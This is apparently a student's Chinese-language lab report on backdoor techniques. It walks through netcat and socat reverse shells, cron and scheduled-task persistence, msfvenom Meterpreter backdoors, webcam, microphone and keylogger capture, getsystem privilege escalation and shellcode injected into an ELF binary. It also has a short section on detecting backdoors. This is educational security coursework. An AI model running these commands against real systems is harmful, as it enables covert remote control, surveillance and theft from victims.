1.实验内容
1.1实验目的
-
掌握基础网络工具的Shell获取方法
-
掌握MSF工具的payload生成与应用能力
-
掌握主机敏感信息获取与提权技术
-
掌握Shellcode注入与漏洞利用技术
1.2实验内容
-
使用netcat获取主机操作Shell,cron启动某项任务
-
使用socat获取主机操作Shell, 任务计划启动
-
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
-
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.3基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
最常见的可能是通过“伪装文件”不小心打开导致的。比如在网上下载软件、游戏安装包,或者接收别人发来的压缩包、文档时,里面可能藏了带后门的程序。比如下载的“免费办公软件.exe”,看起来是正常安装程序,双击运行后,表面上软件能正常用,但后台已经悄悄装了后门,让别人能远程连接你的电脑。还有可能是浏览不明网站时,弹出“你的浏览器需要更新”“电脑存在风险”之类的提示,点进去下载的“修复工具”其实就是带后门的程序,一点运行就会让系统被入侵。
- 例举你知道的后门如何启动起来(win及linux)的方式?
Windows 系统
- 开机自启文件夹放后门快捷方式,开机就跟着自动跑;
- 任务计划设定时,隐藏窗口执行后门,不易发现;
- 跟 QQ、微信等常用软件捆绑,装正常软件时后门偷偷启动。
Linux 系统
- crontab -e 编定时任务,系统按时自动跑后门;
- 后门命令写进 /etc/rc.local 或启动脚本,开机就执行;
- 注册成系统服务并设开机自启,像正常进程,难分辨。
- Meterpreter有哪些给你映像深刻的功能?
Meterpreter 可以自动生成恶意代码,还含有多个漏洞模块,直接远程控目标电脑,调取摄像头、录屏、记键盘等权限。
- 如何发现自己有系统有没有被安装后门?
- 打开系统进程管理工具,Windows 用 Ctrl+Shift+Esc 调出任务管理器,Linux 用 top 或 ps 命令,寻找不认识的进程,比如名字奇怪、占用 CPU 和内存过高,或者关闭后又自动出现的进程。
- 查看系统开机启动相关设置,Windows 在任务管理器 “启动” 标签里找非自己安装却设为启用的程序,Linux 通过 crontab -l 查看定时任务、systemctl list-unit-files 查看系统服务,排查不是自己添加的自启项。
- 关注系统日常使用中的异常情况,比如没开多少软件却突然变卡变慢,硬盘指示灯莫名闪烁,摄像头指示灯在未开视频时亮起,或者文件被莫名移动、删除、新增陌生文件。
- 查看系统网络连接状态,Windows 在任务管理器 “性能 - 以太网” 里观察发送接收字节,没使用联网软件却有持续流量就需注意,也可用命令提示符输入 netstat -ano,查看是否有连接到陌生 IP 地址且端口号不常用的情况。
- 检查系统账户列表,看是否有非自己创建的陌生账户,尤其是带有管理员权限的账户,同时留意系统权限是否有异常变化,比如某些文件或设置突然无法修改。
2.实验过程
2.1实验准备
- 下载nact.exe
- 下载socat.exe
- 关闭Windows防火墙
- 关闭实时保护(Windows自带的杀毒的功能)
2.2使用netcat获取主机的Shell
1.查询主机和虚拟机IP
windows输入
ipconfig
,得到地址192.168.31.13
Linux输入
ifconfig
,得到地址192.168.81.132
2.主机监听端口,虚拟机主动连接并获取shell
①在本地启动 ncat 并进入监听状态,监听 2324 端口,等待其他客户端通过该端口建立连接
windows中输入
ncat.exe -l -p 2324
-l:表示启用 监听模式(listen),即让 ncat 作为服务器端等待其他设备的连接。
-p 2324:-p 用于指定监听的 端口号,这里指定端口为 2324,即 ncat 会在本地的 2324 端口等待连接请求。
②Kali 与 Windows 端的 ncat 建立连接后,会将 Kali 的 shell 通过该连接传递给 Windows 端,使得 Windows 端可以远程操作 Kali 的命令行
Kali中输入
nc 192.168.31.13 2324 -e /bin/sh
此时回到windows中,就已经获取了Linux的shell
-e /bin/sh:-e参数用于指定连接建立后执行的程序,这里指定为/bin/sh(Linux 系统的 shell)
③修改cron表
Kali中输入
crontab -e
选择方法2
进行编辑
输入35 * * * * nc 192.168.31.13 1324 -e /bin/sh
cron:
定时执行任务:在指定的时间、日期自动运行命令、脚本或程序
周期性任务:可以设置按分钟、小时、天、月、星期等周期重复执行
每个用户都有一个自己的 crontab 文件,用于存储该用户的任务计划。
35 * * * * nc 192.168.1.4 1324 -e /bin/sh #进入crontab文件后,insert 进入文件编辑模式后在文件末端输入,:wq! 保存并退出
- - - - -
| | | | |
| | | | +----- 星期几 (0 - 7) (星期天为0或7)
| | | +------- 月份 (1 - 12)
| | +--------- 日期 (1 - 31)
| +----------- 小时 (0 - 23)
+------------- 分钟 (0 - 59)
nc命令前面的意思是每个小时的04分执行操作(这里根据自己做实验的时间更改)
④修改定时任务,将信息写入文件
- windows中依次输入
sudo su
whoami
root
- windows中输入
5 * * * * echo "20232324" > /home/kali/tempfile20232324.txt" > /var/spool/cron/crontabs/root
- windows中输入
crontab -l
下面那张图是修改的信息
2.3使用 socat 获取主机 Shell,任务计划启动
win_ip:192.168.5.27
linux_ip:192.168.81.132
1.在 Windows 上开启 2324 端口监听,当其他设备(如另一台电脑)通过 TCP 连接到该端口时,会直接获得当前 Windows 主机的 CMD 命令行权限,可远程执行各种命令。
- 在windows的cmd中进入socat目录,并输入
socat.exe tcp-listen:2324 exec:cmd.exe,pty,stderr
- 在kali中输入
socat - tcp:192.168.5.27:2324
tcp-listen:2326:tcp-listen 表示创建 TCP 监听,:2324 是指定的端口号。
exec:cmd.exe:表示当有远程设备连接到 2326 端口时,自动执行 Windows 的命令行程序 cmd.exe。
pty:模拟一个伪终端,确保远程交互时命令行的输入输出格式正确。
stderr:将 cmd.exe 的错误输出也转发到网络连接中,让远程端能看到执行命令时的错误信息。
2.任务计划启动,win创建任务
Win+R 输入 compmgmt.msc
在系统工具中,打开任务计划程序
,点击右侧的创建任务
- 常规:
任务名
- 操作:新建操作,程序或脚本处选择
D:\appdata\socat\socat\socat.exe
- 参数 :
tcp-listen:2324 exec:cmd.exe,pty,stderr
- 触发器:新建触发器,和cron一样根据做实验时间选择开始时间。
其他保持默认即可
3.在kali中等待任务触发
设置的执行任务时间到了之后,会弹出cmd框
在kali中输入
socat - tcp:192.168.5.27:2324
(windows_ip)后就可以获得主机的shell了
2.4使用MSF meterpreter生成后门
win_ip: 192.168.5.14
Linux_ip: 192.168.81.132
1.生成后门
生成一个名为 20232324_backdoor.exe 的 Windows 可执行文件,当该文件在目标 Windows 主机上运行时,会主动连接Kali,建立 Meterpreter 会话,使攻击机获得对目标主机的远程控制权限。
在kali中输入
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 -f exe > 20232324backdoor.exe
msfvenom:Metasploit 框架自带的工具,用于生成各种平台的恶意 payload。
-p:指定要生成的 payload 类型。
windows/meterpreter/reverse_tcp:这是一个针对 Windows 系统的 Meterpreter 反向 TCP payload。
Meterpreter:是 Metasploit 提供的一种高级交互式 shell,支持文件操作、进程控制、屏幕截图等多种功能。
reverse_tcp:表示 “反向连接”,即目标主机运行后门后,会主动发起 TCP 连接到kali。
2.将20232324_backdoor.exe传送到主机上
在windows中输入
ncat.exe -l -p 410 > “D:\20232324backdoor.exe”
在kali中输入nc 192.168.5.14 410 < 20232324backdoor.exe
3.打开Metasploit框架的主要控制台界面,对监听模块进行配置
在kali中输入
msfconsole
输入以下内容
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.81.132
set LPORT 2324
exploit
use exploit/multi/handler加载 Metasploit 中的 multi/handler 模块,这是一个通用的监听模块,用于接收各种类型的反向连接。
set payload windows/x64/meterpreter/reverse_tcp设置要监听的攻击载荷类型。
exploit启动监听
4.在主机上运行后门文件
在windows输入
20232324backdoor.exe
在kali上输入dir
2.5使用MSF meterpreter生成获取目标主机资源的后门,并尝试提权
1.在MSF框架的Meterpreter会话中输入常用的后渗透命令,进一步获取信息或实施监控。
在kali中输入
record_mic
录制音频webcam_snap
摄像头keyscan_start
捕获键盘输入keyscan_stop
手动停止keyscan_dump
提权
2.查看当前会话的用户身份
确认 Meterpreter 会话在目标 Windows 系统上运行的用户权限
在kali中输入
getuid
3.提权到系统最高权限
通过 MSF 内置的提权技术,将当前用户权限提升到系统级权限
在kali中输入
getsystem
4.确认会话状态
输入
background
输入sessions -l
background:不关闭当前 Meterpreter 会话,回到 msfconsole 主界面,方便执行其他 MSF 模块 或 命令。
sessions -l:列出所有活跃的 Meterpreter 会话。
会话 ID 为 1;
类型是 meterpreter x64/windows;
Information 列显示 NT AUTHORITY\SYSTEM,验证了 getsystem 提权成功;
Connection 列显示连接的 IP / 端口(攻击机 192.168.81.132:2324 → 目标机 192.168.81.1:32989)。
2.6MSF 生成 shellcode 注入 pwn1
1.使用msf生成shellcode,注入pwn
生成一个伪装成合法程序的 Linux 恶意 ELF 可执行文件,当该文件在目标 Linux 系统上运行时,会主动连接指定的攻击机,建立 Meterpreter 交互式会话,使攻击机获得对目标系统的远程控制权限。
在kali中输入
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=8888 -x /home/liuzimo/pwn -f elf -o 202324pwn1020
2.为202324pwn1020赋予可执行权限
让文件 202324pwn1020 对 “所有用户” 可执行。
在kali中输入
sudo chmod a+x 202324pwn1020
a:是 “all” 的缩写,代表所有用户。
+:代表 “添加权限”。
x:是 “execute” 的缩写,代表执行权限。
3.进行监听配置
另起一个shell,输入msfconsole,再次进行监听配置,输入命令如下:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.81.132
set LPORT 8888
exploit
4.运行202324pwn1020
回到原来的shell,运行202324pwn1020
输入
./202324pwn1020
3.问题及解决方案
- 问题1:在使用socat时,创建任务后并未定期执行任务
- 问题1解决方案:原因我没有搞懂命令的具体含义,应明确 “谁是发送端、谁是接收端”,当 Kali 作为发送端时,Windows 未提前开启监听,或 Windows 作为接收端时,Kali 未正确发起传输,导致两端连接失败。
- 问题2:无法传输后门程序
- 问题2解决方案:应关闭电脑防病毒和细菌的实时保护
4.学习感悟、思考等
本次实验我掌握了ncat、socat的基础使用方法。此外还感受了MSF工具的强大能力😍,能自己生成恶意 payload 并伪装,通过模块建立 Meterpreter 会话,支持截图、摄像头、提权等控制,实现对目标系统的远程攻击与渗透。在实验过程中我遇到了许多问题,但导致这些问题的根本原因是在实践之前,没有弄懂理论。比如,我在参考往届学长学姐实验报告时,直接复制了他的错误命令,耽误了特别多时间。😠😡